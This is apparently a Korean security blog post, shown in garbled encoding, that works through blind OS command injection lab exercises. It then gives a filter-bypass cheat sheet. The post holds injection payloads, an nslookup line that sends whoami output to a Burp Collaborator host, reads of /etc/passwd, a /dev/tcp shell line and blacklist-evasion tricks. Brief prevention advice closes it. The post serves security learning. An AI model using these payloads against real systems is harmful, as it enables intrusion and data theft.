OS command injection

OS command injection

in

๐Ÿ”Ž What is OS command injection?

OS command injection์€ ๊ณต๊ฒฉ์ž๊ฐ€ ์‘์šฉ ํ”„๋กœ๊ทธ๋žจ์„ ์‹คํ–‰ํ•˜๋Š” ์„œ๋ฒ„์—์„œ ์ž„์˜์˜ ์šด์˜์ฒด์žฌ(OS) ๋ช…๋ น์„ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๊ฒŒํ•˜๋Š” ์›น ์ทจ์•ฝ์ ์œผ๋กœ ์ผ๋ฐ˜์ ์œผ๋กœ ์‘์šฉ ํ”„๋กœ๊ทธ๋žจ๊ณผ ๋ชจ๋“  ๋ฐ์ดํ„ฐ๋ฅผ ์™„์ „ํžˆ ์†์ƒ ์‹œํ‚ฌ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ข…์ข… ๊ณต๊ฒฉ์ž๋Š” OS Command injection์„ ํ™œ์šฉํ•˜์—ฌ ํ˜ธ์ŠคํŒ… ์ธํ”„๋ผ์˜ ๋‹ค๋ฅธ ๋ถ€๋ถ„์„ ์†์ƒ์‹œํ‚ค๊ณ  ์‹ ๋ขฐ ๊ด€๊ณ„๋ฅผ ์•…์šฉํ•˜์—ฌ ์กฐ์ง๋‚ด์˜ ๋‹ค๋ฅธ ์‹œ์Šคํ…œ์œผ๋กœ ๊ณต๊ฒฉ์œผ๋กœ pivot ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

แ„‰แ…ณแ„แ…ณแ„…แ…ตแ†ซแ„‰แ…ฃแ†บ 2021-11-21 แ„‹แ…ฉแ„’แ…ฎ 11 26 31

LAB

Blind OS command injection with ์‹œ๊ฐ„ ๋”œ๋ ˆ์ด


OS ์ปค๋งจ๋“œ ์ธ์ ์…˜์€ ์ฃผ๋กœ ๋ธ”๋ผ์ธ๋“œ ์ทจ์•ฝ์  ์ž…๋‹ˆ๋‹ค.
์ฆ‰ HTTP์˜ ์‘๋‹ต๊ฐ’์—์„œ ๋ช…๋ น์˜ ์ถœ๋ ฅ์„ ๋ฐ˜ํ™˜ํ•˜์ง€ ์•Š์ง€๋งŒ ๋ช…๋ น์–ด๊ฐ€ ์ž…๋ ฅ๋  ์ˆ˜ ์žˆ์–ด Response time์„ ๋ณด๊ณ  ์ฒดํฌํ•˜๋ฉด ์‹ค์ œ ๋ช…๋ น์ด ์ˆ˜ํ–‰๋˜์—ˆ๋Š”์ง€ ํ™•์ธ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์‚ฌ์šฉ์ž๊ฐ€ ์‚ฌ์ดํŠธ์— ๋Œ€ํ•œ ํ”ผ๋“œ๋ฐฑ์„ ์ œ์ถœํ•  ์ˆ˜ ์žˆ๋Š” ์›น ์‚ฌ์ดํŠธ๋ฅผ ํ™•์ธ.

์‹œ๊ฐ„์ง€์—ฐ์„ ์‚ฌ์šฉํ•˜๋Š” ping ๋ช…๋ น์–ด ์‚ฌ์šฉ

||ping -c 10 127.0.0.1||

blind_command1

blind_command2 ์ด๋ฉ”์ผ ์ฃผ์†Œ ํŒŒ๋ผ๋ฏธํ„ฐ ์ž…๋ ฅ๊ฐ’์— ํŽ˜์ด๋กœ๋“œ ์ž…๋ ฅ

HTTP ์‘๋‹ต๊ฐ’์ด 10์ดˆ๋’ค์— ๋ฐ˜์‘ํ•˜์—ฌ os command injection์— ์ทจ์•ฝํ•œ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Blind OS command injection with ์ž…์ถœ๋ ฅ ์žฌ์ง€์ •


๋ช…๋ น์˜ ์ถœ๋ ฅ์€ ์‘๋‹ต๊ฐ’์œผ๋กœ ๋ฐ˜ํ™˜๋˜์ง€ ์•Š์ง€๋งŒ ์ถœ๋ ฅ ๋ฆฌ๋‹ค์ด๋ ‰์…˜์„ ํ†ตํ•ด ์“ฐ๊ธฐ ๊ฐ€๋Šฅํ•œ ํด๋”๊ฐ€ ์žˆ๋‹ค๋ฉด ๋ช…๋ น์˜ ์ถœ๋ ฅ์„ ์บก์ณํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

/var/www/imgaes/ ๊ฐ€ ์“ฐ๊ธฐ ๊ฐ€๋Šฅํ•œ ํด๋”๋ผ๊ณ  ํ•ด๋ณด๊ฒ ์Šต๋‹ˆ๋‹ค.
์•ฑ์€ ์ด ์œ„์น˜์—์„œ filename ํŒŒ๋ผ๋ฏธํ„ฐ๋กœ ์ œํ’ˆ ์นดํƒˆ๋กœ๊ทธ์— ๋Œ€ํ•œ ์ด๋ฏธ์ง€๋ฅผ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค. ์ฃผ์ž…๋œ ๋ช…๋ น์˜ ์ถœ๋ ฅ์„ ์ด ํด๋”์˜ ํŒŒ์ผ๋กœ ๋ฆฌ๋‹ค์ด๋ ‰์…˜ํ•œ ๋‹ค์Œ filename ํŒŒ๋ผ๋ฏธํ„ฐ URL์„ ์‚ฌ์šฉํ•˜์—ฌ ํŒŒ์ผ์˜ ๋‚ด์šฉ์„ ๊ฒ€์ƒ‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

|| whoami > /var/www/images/output.txt ||

blind_command5 ํ”ผ๋“œ๋ฐฑ์ด ์ •์ƒ์ ์œผ๋กœ ์ž…๋ ฅ๋จ

์ƒํ’ˆ์„ ํด๋ฆญํ•˜์—ฌ ์š”์ฒญ๋˜๋Š” ํŒŒ๋ผ๋ฏธํ„ฐ filename์„ ์ƒ์„ฑํ•˜์˜€๋˜ output.txt๋กœ ๋ณ€๊ฒฝ

blind_command6

blind_command7 output.txt๋กœ ํŒŒ์ผ๋ช… ๋ณ€๊ฒฝ

์‘๋‹ต๊ฐ’ ๊ฒฐ๊ณผ๋กœ whoami ์˜ ๋ช…๋ น ์ž…๋ ฅ๊ฐ’์ด ์ถœ๋ ฅ๋˜๋Š”๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Blind OS command injection with OOB


ํ•ด๋‹น ์ทจ์•ฝ์ ์—์„œ๋Š” Burp์˜ collaborator ๊ธฐ๋Šฅ์„ ์‚ฌ์šฉํ•œ ์ทจ์•ฝ์ ์ž…๋‹ˆ๋‹ค.

https://portswigger.net/burp/documentation/collaborator

burp์˜ collaborator ๋ฅผ ์ด์šฉํ•˜์—ฌ URL ์ƒ์„ฑ, copy to clipboard ํด๋ฆญ์‹œ URL ๋ณต์‚ฌ ๊ฐ€๋Šฅ

แ„‰แ…ณแ„แ…ณแ„…แ…ตแ†ซแ„‰แ…ฃแ†บ 2021-11-04 แ„‹แ…ฉแ„’แ…ฎ 2 18 26

๋ฉ”์ผ ํŒŒ๋ผ๋ฏธํ„ฐ์— whoami ๋ช…๋ น์–ด์˜ ํŽ˜์ด๋กœ๋“œ๋ฅผ ์ž…๋ ฅ

|| nslookup+`whoami`.jobolcvuvj39tty0zrncfkzlpcv4jt.burpcollaborator.net ||

แ„‰แ…ณแ„แ…ณแ„…แ…ตแ†ซแ„‰แ…ฃแ†บ 2021-11-04 แ„‹แ…ฉแ„’แ…ฎ 2 23 12

poll now ํด๋ฆญ ๋˜๋Š” ์ž ์‹œ ๊ธฐ๋‹ค๋ฆฌ๋ฉด ์ƒ์„ฑ๋˜๋Š” ๊ฒฐ๊ณผ๊ฐ’์—์„œ whoami ๋ช…๋ น์ด ์‹คํ–‰๋œ๊ฒƒ์„ ํ™•์ธ๊ฐ€๋Šฅ ํ•ฉ๋‹ˆ๋‹ค.
collaborator ๋ฅผ ์‚ฌ์šฉํ•˜์ง€ ์•Š์œผ๋ฉด ํ•ด๋‹น ๋ช…๋ น์–ด๋ฅผ ์ž…๋ ฅํ•ด๋„ ๊ฒฐ๊ณผ๊ฐ’์„ ๋ฐ›์•„ ๋ณผ ์ˆ˜ ์—†์ง€๋งŒ ํ•ด๋‹น ๊ธฐ๋Šฅ์„ ์‚ฌ์šฉํ•จ์œผ๋กœ์จ ๊ฒฐ๊ณผ๊ฐ’์„ ํ™•์ธ ๊ฐ€๋Šฅ ํ•ฉ๋‹ˆ๋‹ค

แ„‰แ…ณแ„แ…ณแ„…แ…ตแ†ซแ„‰แ…ฃแ†บ 2021-11-04 แ„‹แ…ฉแ„’แ…ฎ 2 23 38



๐Ÿ”ฅ Cheat sheet

  • Chaining commands
original_cmd_by_server; ls
original_cmd_by_server && ls
original_cmd_by_server | ls
original_cmd_by_server || ls   # Only if the first cmd fail
  • Bypass without space (Linux)
//Works on Linux only
swissky@crashlab:~/Www$ cat</etc/passwd
root:x:0:0:root:/root:/bin/bash

swissky@crashlab:~$ {cat,/etc/passwd}
root:x:0:0:root:/root:/bin/bash

swissky@crashlab:~$ cat$IFS/etc/passwd
root:x:0:0:root:/root:/bin/bash

swissky@crashlab:~$ echo${IFS}"RCE"${IFS}&&cat${IFS}/etc/passwd
RCE
root:x:0:0:root:/root:/bin/bash

swissky@crashlab:~$ X=$'uname\x20-a'&&$X
Linux crashlab 4.4.X-XX-generic #72-Ubuntu

swissky@crashlab:~$ sh</dev/tcp/127.0.0.1/4242

//Commands execution without spaces, $ or { } - Linux (Bash only)
IFS=,;`cat<<<uname,-a`
  • Bypass without space (Windows)
//Works on Windows only
ping%CommonProgramFiles:~10,-18%IP
ping%PROGRAMFILES:~10,-5%IP
  • Bypass with a line return
something%0Acat%20/etc/passwd
  • Bypass characters filter via hex encoding (Linux)
swissky@crashlab:~$ echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"
/etc/passwd

swissky@crashlab:~$ cat `echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"`
root:x:0:0:root:/root:/bin/bash

swissky@crashlab:~$ abc=$'\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64';cat $abc
root:x:0:0:root:/root:/bin/bash

swissky@crashlab:~$ `echo $'cat\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64'`
root:x:0:0:root:/root:/bin/bash

swissky@crashlab:~$ xxd -r -p <<< 2f6574632f706173737764
/etc/passwd

swissky@crashlab:~$ cat `xxd -r -p <<< 2f6574632f706173737764`
root:x:0:0:root:/root:/bin/bash

swissky@crashlab:~$ xxd -r -ps <(echo 2f6574632f706173737764)
/etc/passwd

swissky@crashlab:~$ cat `xxd -r -ps <(echo 2f6574632f706173737764)`
root:x:0:0:root:/root:/bin/bash
  • Bypass characters filter
//Commands execution without backslash and slash - linux bash
swissky@crashlab:~$ echo ${HOME:0:1}
/

swissky@crashlab:~$ cat ${HOME:0:1}etc${HOME:0:1}passwd
root:x:0:0:root:/root:/bin/bash

swissky@crashlab:~$ echo . | tr '!-0' '"-1'
/

swissky@crashlab:~$ tr '!-0' '"-1' <<< .
/

swissky@crashlab:~$ cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd
root:x:0:0:root:/root:/bin/bash
  • Bypass Blacklisted words
//Bypass with single quote
w'h'o'am'i

//Bypass with double quote
w"h"o"am"i

//Bypass with backslash and slash
w\ho\am\i
/\b\i\n/////s\h

//Bypass with $@
who$@ami

echo $0
-> /usr/bin/zsh
echo whoami|$0

//Bypass with variable expansion
/???/??t /???/p??s??

test=/ehhh/hmtc/pahhh/hmsswd
cat ${test//hhh\/hm/}
cat ${test//hh??hm/}

//Bypass with wildcards
powershell C:\*\*2\n??e*d.*? # notepad
@^p^o^w^e^r^shell c:\*\*32\c*?c.e?e # calc

๐Ÿ‘€ How to Prevent ?

  • ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด ์šด์˜์ฒด์ œ๋กœ๋ถ€ํ„ฐ ์–ด๋–ค ๋ช…๋ น์–ด๋ฅผ ์ง์ ‘์ ์œผ๋กœ ํ˜ธ์ถœํ•˜์ง€ ๋ชปํ•˜๋„๋ก ์ฐจ๋‹จ ํ•„์š”
  • ์‚ฌ์šฉ์ž๊ฐ€ ์ž…๋ ฅํ•œ ๋ฐ์ดํ„ฐ๊ฐ€ ์šด์˜์ฒด์ œ ๋ช…๋ น์–ด ํ•ด์„๊ธฐ์— ์ „๋‹ฌ๋˜๋Š” ๋ถ€๋ถ„์ด ์žˆ๋Š” ๊ฒฝ์šฐ ํ™”์ดํŠธ๋ฆฌ์ŠคํŠธ ๋ฐฉ์‹์œผ๋กœ ์ œํ•œ ํ•„์š”
  • ์ž…๋ ฅ๊ฐ’์— ๋Œ€ํ•œ ํŒŒ๋ผ๋ฏธํ„ฐ ๋ฐ์ดํ„ฐ์˜ ํŠน์ˆ˜๋ฌธ์ž ํ•„ํ„ฐ๋ง ์ฒ˜๋ฆฌ
  • ๊ฐœ๋ฐœ ์‹œ ์šด์˜์ฒด์ œ ๋ช…๋ น์–ด ์‚ฌ์šฉ ๊ฐ€๋Šฅํ•œ ํ•จ์ˆ˜๋ฅผ ์‚ฌ์šฉํ•˜์ง€ ์•Š์•„์•ผ ํ•˜๋ฉฐ, ๊ผญ ํ•„์š”ํ•œ ๊ฒฝ์šฐ ํ™”์ดํŠธ ๋ฆฌ์ŠคํŠธ ๋ฐฉ์‹์œผ๋กœ ๋ช…๋ น์–ด ์ž…๋ ฅ์— ๋Œ€ํ•œ ๊ฒ€์ฆ ๋กœ์ง์ด ํ•„์š”
์–ธ์–ด ํ•จ์ˆ˜
asp eval(), execute() ๋“ฑ
php exec(), system(), passthru(), eval() ๋“ฑ
java system.*(system.Runtime) ๋“ฑ

๐Ÿ“ƒ References